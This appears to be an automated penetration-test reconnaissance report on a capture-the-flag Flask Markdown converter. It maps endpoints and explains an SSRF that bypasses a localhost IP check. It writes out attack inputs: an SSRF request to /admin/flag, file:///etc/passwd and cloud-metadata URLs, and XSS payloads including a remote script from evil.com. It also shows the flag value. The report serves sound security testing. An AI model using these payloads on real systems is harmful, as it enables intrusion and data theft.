# Reconnaissance Deliverable

## 0) HOW TO READ THIS
This reconnaissance report provides a comprehensive map of the Flask-based Markdown-to-HTML converter application's attack surface. The application implements minimal security controls with critical SSRF and XSS vulnerabilities.

**Key Sections for Analysis:**
- **Section 4 (API Endpoint Inventory):** Complete listing of all 4 network-accessible endpoints with authorization details.
- **Section 5 (Potential Input Vectors):** Critical SSRF and XSS input vectors from the `/convert` endpoint.
- **Section 7 (Role & Privilege Architecture):** IP-based pseudo-authentication system with SSRF bypass potential.
- **Section 9 (Injection Sources):** ZERO command/SQL injection sources - application has no database or command execution.

**Priority Order for Testing:**
1. SSRF vulnerability in `/convert` endpoint to bypass IP-based access controls
2. XSS vulnerability via markdown rendering with `|safe` filter
3. Session forgery using hardcoded weak secret key
4. File disclosure via file:// protocol SSRF

**Application Architecture:** Single-file Flask monolith (59 lines), no database, no traditional authentication, stateless design with client-side sessions.

## 1. Executive Summary

This Flask-based Markdown-to-HTML converter application (Python 3.8, Flask 3.0.3) presents a **CRITICAL security risk** with multiple high-severity vulnerabilities enabling complete flag compromise. The application is accessible at `http://localhost:42369/` and implements zero traditional security controls beyond basic IP-based access restrictions.

**Core Technology Stack:**
- **Frontend:** HTML/CSS with Jinja2 templates, no JavaScript frameworks
- **Backend:** Flask 3.0.3 (Python 3.8.20), single-file monolith architecture
- **Infrastructure:** Docker containerized (python:3.8-slim base), exposed on port 80/HTTP
- **Database:** None - stateless application with no persistence layer

**Attack Surface Summary:**
- **4 HTTP endpoints** (2 public, 2 IP-restricted)
- **2 critical vulnerabilities:** SSRF enabling IP bypass, XSS via unsafe template rendering
- **No authentication system:** IP-based pseudo-authentication only
- **No database:** Eliminates SQL injection attack class entirely

**Critical Attack Path:**
The most severe attack chain combines unrestricted SSRF in the `/convert` endpoint with weak IP-based authentication protecting `/admin/flag`. An unauthenticated attacker can submit `POST /convert` with `url=http://127.0.0.1/admin/flag` to retrieve the CTF flag, bypassing all access controls in a single request.

**Primary Vulnerabilities:**
1. **SSRF (CVSS 9.6):** Unrestricted `urllib.request.urlopen()` accepts arbitrary URLs including localhost, file://, cloud metadata endpoints
2. **IP Bypass (CVSS 9.1):** SSRF enables localhost impersonation, defeating IP-based authorization
3. **XSS (CVSS 7.3):** Jinja2 `|safe` filter renders unsanitized HTML from markdown conversion
4. **Weak Secrets (CVSS 7.5):** Hardcoded Flask secret key `'supersecretkey'` enables session forgery
5. **Secret Exposure (CVSS 9.1):** CTF flag committed to git version control permanently

## 2. Technology & Service Map

### Frontend
- **Framework:** Jinja2 templating engine (Flask's default)
- **Templates:** 3 HTML files (converter.html, admin.html, flag.html)
- **Styling:** Single CSS file (69 lines), no CSS frameworks
- **JavaScript:** None - pure server-side rendering
- **Forms:** Standard HTML forms with no CSRF tokens

### Backend
- **Language:** Python 3.8.20 (EOL October 2024 - security risk)
- **Framework:** Flask 3.0.3 (latest stable)
- **Key Libraries:**
  - `urllib.request` (stdlib) - SSRF vulnerability vector
  - `markdown 3.3.6` - Markdown parser preserving raw HTML (XSS vector)
  - `beautifulsoup4 4.9.3` - Installed but unused (dead dependency)
- **Application Structure:** Single-file monolith (`app.py`, 59 lines)
- **No Database:** Stateless architecture, no ORM, no data persistence

### Infrastructure
- **Hosting:** Docker container (python:3.8-slim base image)
- **CDN:** None
- **Reverse Proxy:** None - direct Flask exposure on port 80
- **Protocol:** HTTP only (no TLS/HTTPS)
- **Port Exposure:** Container port 80 mapped to host port 42369
- **Network:** Bridge network, no egress filtering

### Identified Subdomains
**Source:** subfinder scan from pre-recon

Network scan identified several localhost subdomains (from development environment):
- mail02.regency.localhost
- owa.regency.localhost
- server02.counterintel.localhost
- autodiscover.regency.localhost
- www.localhost
- mail.localhost

**Note:** These appear to be remnants from the scanning environment and are NOT part of the target application's actual infrastructure.

### Open Ports & Services
**Source:** nmap scan on localhost

**Target Application:**
- **Port 42369/HTTP:** Flask application (mapped from container port 80)
- **Service:** Werkzeug/3.0.6 Python/3.8.20
- **Title:** Markdown to HTML Converter

**Development Environment Ports (Out of Scope):**
- Port 22/SSH, 80/HTTP (Caddy), 443/HTTPS, 8000-8001/HTTP (other Python apps), 9999/HTTP (SimpleHTTPServer)

## 3. Authentication & Session Management Flow

### Entry Points
**FINDING: NO AUTHENTICATION ENTRY POINTS EXIST**

The application contains zero authentication endpoints:
- No `/login` endpoint
- No `/register` endpoint
- No `/logout` endpoint
- No password reset functionality
- No OAuth/SSO integration
- No API key validation

### Mechanism
**IP-Based Pseudo-Authentication (Not True Authentication)**

The application uses `request.remote_addr` IP address checking as a binary access control mechanism:

**Implementation:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/app.py:47, 53`

```python
# Admin interface protection
@app.route('/admin')
def admin():
    if request.remote_addr != '127.0.0.1':
        abort(403)
    return render_template('admin.html')

# Flag endpoint protection  
@app.route('/admin/flag')
def admin_flag():
    if request.remote_addr != '127.0.0.1':
        abort(403)
    return render_template('flag.html', flag=FLAG)
```

**Access Control Logic:**
- Requests from `127.0.0.1` → Allowed to access `/admin*` endpoints
- Requests from any other IP → HTTP 403 Forbidden

**Critical Bypass:** SSRF vulnerability in `/convert` endpoint allows localhost impersonation

### Code Pointers

**Session Configuration:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/app.py:8`
```python
app.secret_key = 'supersecretkey'
```

**Session Usage:** Flash messaging only (lines 22, 38, 42)
```python
flash('Either URL or Markdown text is required!')
flash('Parsing error. Displaying non-Markdown content.')
flash(f'Error fetching the URL: {e}')
```

**IP-Based Access Control:** Lines 47 and 53 in app.py

**CRITICAL WEAKNESS:** 
- Hardcoded secret key with low entropy
- No session-based authentication
- Sessions only used for temporary flash messages
- No session cookie security flags configured (defaults used)

### 3.1 Role Assignment Process

**Role Determination:** Implicit based on network location (not configurable)

**Pseudo-Roles:**
1. **EXTERNAL USER** (default for all internet clients)
   - Access: `/`, `/convert`
   - Determination: `request.remote_addr != '127.0.0.1'`
   
2. **LOCALHOST USER** (privileged, intended for local admin)
   - Access: `/`, `/convert`, `/admin`, `/admin/flag`
   - Determination: `request.remote_addr == '127.0.0.1'`

**Default Role:** EXTERNAL USER (any client not from 127.0.0.1)

**Role Upgrade Path:** CRITICAL VULNERABILITY
- Intended: Physical access to server or SSH tunnel
- Actual: SSRF exploitation via `/convert` endpoint enables instant privilege escalation

**Code Implementation:** Inline checks at app.py:47 and app.py:53 (no centralized role system)

### 3.2 Privilege Storage & Validation

**Storage Location:** NOT STORED - calculated per-request from TCP source IP

**Validation Points:** Only 2 locations in entire application
- `/admin` endpoint (app.py:47)
- `/admin/flag` endpoint (app.py:53)

**Cache/Session Persistence:** None - privilege determined fresh for each request

**Code Pointers:**
- Privilege validation: `app.py:47, 53`
- No middleware or decorators for authorization
- No user database or privilege store

### 3.3 Role Switching & Impersonation

**Impersonation Features:** NONE (no authentication system to impersonate)

**Role Switching:** Not applicable - roles are network-based, not user-based

**Audit Trail:** NONE - no logging of authorization decisions

**Code Implementation:** Not implemented

**Note:** While no legitimate impersonation exists, the SSRF vulnerability effectively provides unauthorized "network location impersonation" by making requests appear to originate from 127.0.0.1.

## 4. API Endpoint Inventory

**Network Surface Focus:** All endpoints below are accessible through the deployed Flask application on HTTP port 80 (exposed as port 42369 on host).

| Method | Endpoint Path | Required Role | Object ID Parameters | Authorization Mechanism | Description & Code Pointer |
|--------|---------------|---------------|----------------------|-------------------------|----------------------------|
| GET | `/` | anon | None | None | Main landing page serving markdown converter form. See `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/app.py:12-14` |
| POST | `/convert` | anon | None | None | **CRITICAL SSRF & XSS SINK** - Processes markdown from URL or text. Accepts `url` (SSRF vector) and `markdown_text` (XSS vector) parameters. See `app.py:16-43` |
| GET | `/admin` | localhost | None | IP check: `request.remote_addr == '127.0.0.1'` | Admin interface with links to flag endpoint. Returns 403 Forbidden for non-localhost. Bypassable via SSRF. See `app.py:45-49` |
| GET | `/admin/flag` | localhost | None | IP check: `request.remote_addr == '127.0.0.1'` | **HIGH-VALUE TARGET** - Discloses CTF flag. Returns 403 for non-localhost. Bypassable via SSRF to `http://127.0.0.1/admin/flag`. See `app.py:51-55` |
| GET | `/static/<path:filename>` | anon | None | None | Flask default static file handler serving style.css. No security concerns. |

**Total Network-Accessible Endpoints:** 5 (4 application routes + 1 static file handler)

**Authorization Breakdown:**
- **Public Endpoints:** 3 (`/`, `/convert`, `/static/*`)
- **IP-Restricted Endpoints:** 2 (`/admin`, `/admin/flag`)
- **Object-Level Authorization:** 0 (no endpoints with object IDs)

**Critical Security Notes:**
- `/convert` is the primary attack vector (SSRF + XSS)
- `/admin/flag` contains the CTF flag value
- All IP-based restrictions are bypassable via SSRF
- No rate limiting on any endpoint
- No CSRF protection on POST endpoint

## 5. Potential Input Vectors for Vulnerability Analysis

**Network Surface Focus:** Only reporting input vectors accessible through the deployed application's HTTP interface on port 80/42369.

### URL Parameters
**None** - Application does not process query string parameters (`request.args` never used)

### POST Body Fields (JSON/Form)

**Critical Input Vector #1: `url` parameter**
- **Endpoint:** `POST /convert`
- **Location:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/app.py:18`
- **Code:** `url = request.form.get('url')`
- **Validation:** Only null check (line 21) - NO URL validation
- **Sink:** `urllib.request.urlopen(url)` at line 27
- **Vulnerability:** SSRF (CVSS 9.6)
- **Attack Vectors:**
  - Localhost bypass: `url=http://127.0.0.1/admin/flag`
  - File disclosure: `url=file:///etc/passwd`
  - Cloud metadata: `url=http://169.254.169.254/latest/meta-data/`
  - Internal network scan: `url=http://192.168.1.100:8080/`

**Critical Input Vector #2: `markdown_text` parameter**
- **Endpoint:** `POST /convert`
- **Location:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/app.py:19`
- **Code:** `markdown_text = request.form.get('markdown_text')`
- **Validation:** Only null check (line 21) - NO content sanitization
- **Processing:** `markdown.markdown(content)` at line 35 (preserves raw HTML)
- **Sink:** `{{ html_content|safe }}` in `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/templates/converter.html:33`
- **Vulnerability:** XSS (CVSS 7.3)
- **Attack Vectors:**
  - Script injection: `<script>alert(document.cookie)</script>`
  - Event handler: `<img src=x onerror=alert(1)>`
  - Remote script: `<script src=https://evil.com/payload.js></script>`

### HTTP Headers
**Limited Processing:**
- `request.remote_addr` - Used for IP-based authorization (lines 47, 53)
- No explicit processing of `X-Forwarded-For`, `User-Agent`, `Referer`, or custom headers
- Flask implicitly processes standard HTTP headers

**Note:** Application does NOT use ProxyFix middleware, so X-Forwarded-For header manipulation will NOT work for IP spoofing in current configuration.

### Cookie Values
**Session Cookie:**
- **Name:** `session` (Flask default)
- **Purpose:** Flash message storage only (no authentication)
- **Security:** Signed with weak secret `'supersecretkey'` - forgery possible
- **Processing:** Automatic by Flask (not explicitly accessed in application code)
- **Attack Vector:** Session forgery to inject malicious flash messages

**No application-specific cookies** beyond Flask's session cookie.

### Complete Input Vector Summary

**Total User-Controllable Inputs:** 2 (both in `/convert` endpoint)

| Input Name | Type | Endpoint | Validation | Sanitization | Dangerous Sink | Vulnerability |
|------------|------|----------|------------|--------------|----------------|---------------|
| `url` | POST form field | `/convert` | Null check only | NONE | `urllib.request.urlopen()` | SSRF, IP Bypass |
| `markdown_text` | POST form field | `/convert` | Null check only | NONE | `{{ html_content\|safe }}` | XSS |
| `request.remote_addr` | HTTP source IP | `/admin*` | String comparison | N/A | Authorization check | IP spoofing via SSRF |
| `session` cookie | HTTP cookie | All endpoints | HMAC signature | N/A | Flash messages | Session forgery |

**Attack Surface Assessment:**
- **2 critical input vectors** with zero validation
- **No input sanitization** at any layer
- **No WAF or security middleware**
- **No rate limiting** to prevent abuse

## 6. Network & Interaction Map

**Network Surface Focus:** Only mapping components accessible through the deployed application's network interface on port 80/42369.

### 6.1 Entities

| Title | Type | Zone | Tech | Data | Notes |
|-------|------|------|------|------|-------|
| FlaskApp | Service | App | Python 3.8/Flask 3.0.3 | PII (IP addresses), CTF Flag | Main application backend, single container deployment |
| UserBrowser | ExternAsset | Internet | Web Browser | User inputs (markdown, URLs) | External users accessing the converter interface |
| LocalhostAdmin | Identity | App | Implicit role | Full access | Pseudo-role for requests from 127.0.0.1 (bypassable via SSRF) |
| StaticFiles | Service | App | Flask static handler | CSS (public) | Serves style.css, no dynamic content |
| FlagStore | DataStore | App | Python variable | CTF Flag (sensitive) | FLAG variable in app.py:10, value injected at build time |
| SessionStore | Service | App | Client-side cookies | Flash messages | Signed cookies, no server-side storage |

### 6.2 Entity Metadata

| Title | Metadata |
|-------|----------|
| FlaskApp | Hosts: `http://localhost:42369` (external), `http://0.0.0.0:80` (internal); Endpoints: `/`, `/convert`, `/admin`, `/admin/flag`, `/static/*`; Auth: IP-based (127.0.0.1 only for admin); Dependencies: None; Database: None; Session: Client-side signed cookies |
| UserBrowser | Protocols: `HTTP`; Access: `/`, `/convert`, `/static/*` (public); Blocked: `/admin*` (403 unless SSRF bypass used); Capabilities: Form submission, cookie storage |
| LocalhostAdmin | IP: `127.0.0.1`; Access: All endpoints including `/admin/flag`; Bypass: SSRF via `/convert?url=http://127.0.0.1/admin/flag`; Audit: None |
| FlagStore | Storage: In-memory Python variable; Value: `flag{cbf59a8d-b5f1-4a8e-8286-0c249b14d682}`; Exposure: Git history (.env file committed), Docker image layers, SSRF-accessible endpoint `/admin/flag` |
| SessionStore | Type: Flask SecureCookieSession; Signing: HMAC with secret `'supersecretkey'`; Encryption: None (base64 only); Security Flags: HttpOnly=true, Secure=false, SameSite=None |
| StaticFiles | Path: `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/static/`; Files: `style.css` (69 lines); Exposure: Public; Vulnerabilities: None |

### 6.3 Flows (Connections)

| FROM → TO | Channel | Path/Port | Guards | Touches |
|-----------|---------|-----------|--------|---------|
| UserBrowser → FlaskApp | HTTPS | `:42369 /` | None | Public |
| UserBrowser → FlaskApp | HTTPS | `:42369 /convert` | None | User inputs (URL, markdown) |
| UserBrowser → FlaskApp | HTTPS | `:42369 /admin` | auth:localhost | None (blocked unless SSRF) |
| UserBrowser → FlaskApp | HTTPS | `:42369 /admin/flag` | auth:localhost | Flag (blocked unless SSRF) |
| UserBrowser → FlaskApp | HTTPS | `:42369 /static/style.css` | None | Public |
| FlaskApp → FlaskApp (SSRF) | HTTP | `127.0.0.1:80 /admin/flag` | auth:localhost | Flag (bypass via self-request) |
| FlaskApp → ExternalURL | HTTP/HTTPS | User-controlled | None | SSRF fetched content |
| FlaskApp → LocalFilesystem | File | `file:///` | None | File disclosure via SSRF |
| FlaskApp → CloudMetadata | HTTP | `169.254.169.254:80` | None | Cloud instance metadata (if deployed in cloud) |
| FlaskApp → SessionStore | Cookie | Browser cookie storage | signature:weak | Flash messages |
| FlaskApp → FlagStore | In-process | Memory read | None | Flag variable access |

**Critical Flow:** UserBrowser → FlaskApp `/convert` → FlaskApp SSRF → FlaskApp `/admin/flag` → Flag disclosure

### 6.4 Guards Directory

| Guard Name | Category | Statement |
|------------|----------|-----------|
| auth:localhost | Network | Requires request source IP to be exactly '127.0.0.1' (string match). Applied at app.py:47 and :53. Bypassable via SSRF. |
| signature:weak | Protocol | Flask session cookie signed with HMAC using secret 'supersecretkey'. Forged cookies accepted if signature matches. |
| None | Auth | No authentication required - public access allowed. |

**Note:** This application has minimal guards compared to typical production applications. No rate limiting, no CORS, no CSRF protection, no WAF, no content security policy.

## 7. Role & Privilege Architecture

### 7.1 Discovered Roles

| Role Name | Privilege Level | Scope/Domain | Code Implementation |
|-----------|-----------------|--------------|---------------------|
| anon | 0 | Global | No authentication required, default for all external clients |
| localhost | 10 | Global | Implicit role for requests from 127.0.0.1, grants full admin access including flag endpoint |

**Total Roles:** 2 (both implicit, no formal role system)

**Note:** These are "pseudo-roles" based on network location, not actual user accounts or RBAC roles.

### 7.2 Privilege Lattice

```
Privilege Ordering (→ means "can access resources of"):
anon → localhost (via SSRF escalation)

Intended Design (without SSRF):
anon ⊥ localhost (isolated, no escalation path)

Actual Security Model:
anon → [SSRF exploit] → localhost (privilege escalation)
```

**Dominance Hierarchy:**
- `localhost` dominates `anon` (can access all resources anon can, plus admin endpoints)
- `anon` can escalate to `localhost` via SSRF (critical vulnerability)

**No Parallel Isolation:** All roles are globally scoped

**No Role Switching Mechanisms:**
- No impersonation features
- No "sudo mode" or temporary privilege elevation
- No role delegation
- Privilege determined solely by network source IP

### 7.3 Role Entry Points

| Role | Default Landing Page | Accessible Route Patterns | Authentication Method |
|------|----------------------|---------------------------|------------------------|
| anon | `/` | `/`, `/convert`, `/static/*` | None (public access) |
| localhost | `/admin` | `/`, `/convert`, `/static/*`, `/admin`, `/admin/flag` | IP-based (request.remote_addr == '127.0.0.1') |

**Entry Point Bypass:** External users can access localhost entry points via SSRF:
```bash
POST /convert
Content-Type: application/x-www-form-urlencoded

url=http://127.0.0.1/admin
```

### 7.4 Role-to-Code Mapping

| Role | Middleware/Guards | Permission Checks | Storage Location |
|------|-------------------|-------------------|------------------|
| anon | None | None | Not stored (default state) |
| localhost | None | `if request.remote_addr != '127.0.0.1': abort(403)` at app.py:47, 53 | Derived from TCP connection source IP (Flask's `request.remote_addr`) |

**Critical Observations:**
- **No middleware:** Authorization checks are inline, duplicated code
- **No decorators:** No `@require_localhost` or similar reusable authorization
- **No centralized authorization:** Each protected route implements its own check
- **No audit logging:** Failed authorization attempts are silent (403 returned, but not logged)

## 8. Authorization Vulnerability Candidates

### 8.1 Horizontal Privilege Escalation Candidates

**FINDING: NO HORIZONTAL PRIVILEGE ESCALATION VECTORS**

**Reason:** Application has no user accounts, no user-created objects, and no object IDs in endpoints.

| Priority | Endpoint Pattern | Object ID Parameter | Data Type | Sensitivity |
|----------|------------------|---------------------|-----------|-------------|
| N/A | No endpoints with object IDs | N/A | N/A | Application has no user data or objects to access |

**Explanation:** Horizontal privilege escalation (accessing other users' resources) requires:
1. Multiple users with accounts
2. User-owned objects (orders, files, profiles, etc.)
3. Endpoints accepting object IDs (e.g., `/api/users/{user_id}`)

This application has none of these. The closest analog is the binary localhost/external distinction, which is vertical (privilege level) rather than horizontal (peer access).

### 8.2 Vertical Privilege Escalation Candidates

**CRITICAL FINDING: IP-Based Authorization Bypass Enables Full Vertical Escalation**

| Target Role | Endpoint Pattern | Functionality | Risk Level |
|-------------|------------------|---------------|------------|
| localhost | `/admin` | Admin interface with navigation | **CRITICAL** - Access via SSRF to `http://127.0.0.1/admin` |
| localhost | `/admin/flag` | CTF flag disclosure | **CRITICAL** - Win condition, access via SSRF to `http://127.0.0.1/admin/flag` |

**Escalation Method:**

**Vulnerability:** SSRF in `/convert` endpoint enables localhost impersonation

**Exploit:**
```http
POST /convert HTTP/1.1
Host: localhost:42369
Content-Type: application/x-www-form-urlencoded

url=http://127.0.0.1/admin/flag
```

**Attack Chain:**
1. Attacker (anon role) sends POST to `/convert` with `url=http://127.0.0.1/admin/flag`
2. Flask application executes `urllib.request.urlopen("http://127.0.0.1/admin/flag")`
3. Internal HTTP request is made FROM 127.0.0.1 TO 127.0.0.1
4. `/admin/flag` handler checks `request.remote_addr == '127.0.0.1'` → TRUE
5. Authorization check passes, flag template rendered
6. Flag HTML returned to urllib, then converted to markdown
7. Flag displayed to attacker in converter output

**Impact:** Complete privilege escalation from anonymous external user to full admin access

**CVSS Score:** 9.1 (Critical) - Network exploitable, no authentication required, complete bypass of authorization

### 8.3 Context-Based Authorization Candidates

**FINDING: NO MULTI-STEP WORKFLOWS OR STATE-DEPENDENT AUTHORIZATION**

**Reason:** Application is stateless with no workflow processes.

| Workflow | Endpoint | Expected Prior State | Bypass Potential |
|----------|----------|----------------------|------------------|
| N/A | Application has no multi-step workflows | N/A | N/A |

**Explanation:** Context-based authorization vulnerabilities occur in multi-step processes like:
- E-commerce checkout (requiring cart → payment → confirmation steps)
- Account onboarding (multi-step forms)
- Approval workflows (draft → review → approved)

This application:
- Has no state beyond ephemeral flash messages
- Processes each request independently
- No workflows requiring sequential steps
- No state machines or process flows

**Closest Analog:** The flag endpoint "assumes" the requester is localhost-based (single-step check), but this is vertical escalation, not workflow bypass.

## 9. Injection Sources (Command Injection and SQL Injection)

**Network Surface Focus:** Analysis limited to code reachable through HTTP endpoints on port 80/42369.

### CRITICAL FINDING: ZERO INJECTION SOURCES

After comprehensive analysis of all network-accessible code paths, this application contains:
- **ZERO (0) Command Injection sources**
- **ZERO (0) SQL Injection sources**

### Command Injection Analysis

**Methodology:** Analyzed all potential command execution sinks:
- `os.system()`, `os.popen()`, `os.exec*()`
- `subprocess.call()`, `subprocess.run()`, `subprocess.Popen()`
- `eval()`, `exec()`, `compile()`
- Shell command string interpolation

**Findings:**
1. **No subprocess module imported** - Application does not import `subprocess`
2. **No command execution calls** - AST parsing shows zero calls to command execution functions
3. **`os` module imported but never used** - Line 1 imports `os` but grep/AST confirm zero references to `os.` anywhere in codebase

**User Input Disposition:**
- `url` parameter → `urllib.request.urlopen()` (network request, NOT command execution)
- `markdown_text` parameter → `markdown.markdown()` (pure parsing, NOT command execution)

**Conclusion:** No command injection attack surface exists.

### SQL Injection Analysis

**Methodology:** Analyzed all potential database query sinks:
- Database drivers (sqlite3, psycopg2, pymysql)
- ORMs (SQLAlchemy, Django ORM)
- Raw SQL execution (`cursor.execute()`)
- SQL query string construction

**Findings:**
1. **No database libraries in requirements.txt** - Only Flask, markdown, beautifulsoup4
2. **No database code patterns** - Zero imports of database modules
3. **No data persistence** - Stateless application with client-side sessions only
4. **No SQL keywords** - Code contains no SELECT/INSERT/UPDATE/DELETE statements

**Application Architecture:**
- No database connection
- No ORM models
- No SQL queries
- All data in-memory (transient)

**Conclusion:** No SQL injection attack surface exists (no database layer).

### Alternative Injection Vectors Present

While command/SQL injection are absent, the following injection vulnerabilities exist:

**SSRF Injection (CRITICAL):**
- **Source:** `request.form.get('url')` at app.py:18
- **Sink:** `urllib.request.urlopen(url)` at app.py:27
- **Data Flow:** User input → url variable → network request execution
- **File:Line:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/app.py:18 → 27`

**XSS Injection (HIGH):**
- **Source:** `request.form.get('markdown_text')` at app.py:19
- **Sink:** `{{ html_content|safe }}` in converter.html:33
- **Data Flow:** User input → markdown.markdown() → template rendering without escaping
- **File:Line:** `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/app.py:19 → 35`, template at `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/templates/converter.html:33`

### Vulnerability Sources by Type

**Command Injection Sources:** None

**SQL Injection Sources:** None

**SSRF Injection Sources:** 1
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/app.py:18` (`url` parameter) → Line 27 (`urllib.request.urlopen()`)

**XSS Injection Sources:** 1
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/app.py:19` (`markdown_text` parameter) → Line 35 (`markdown.markdown()`) → `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-033-24/app/templates/converter.html:33` (`|safe` filter)

### Summary for Injection Analysis Specialist

**Command Injection Scope:** No testing required - attack surface does not exist

**SQL Injection Scope:** No testing required - application has no database

**Recommended Focus:** 
1. SSRF exploitation for internal network access and IP-based authorization bypass
2. XSS exploitation for session hijacking and client-side attacks

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## RECONNAISSANCE COMPLETE

This comprehensive reconnaissance analysis provides complete attack surface intelligence for downstream vulnerability analysis specialists. All findings are based on live application testing, source code review via specialized Task agents, and correlation with pre-reconnaissance scan data.

**Key Deliverables:**
- 4 network-accessible endpoints mapped with authorization details
- 2 critical vulnerabilities identified (SSRF, XSS)
- Complete IP-based pseudo-authentication architecture documented
- Zero command/SQL injection sources confirmed
- SSRF-based vertical privilege escalation path validated

**Next Phase:** Vulnerability analysis specialists should prioritize SSRF and XSS analysis, with authorization analysis focusing on the IP-based bypass mechanism.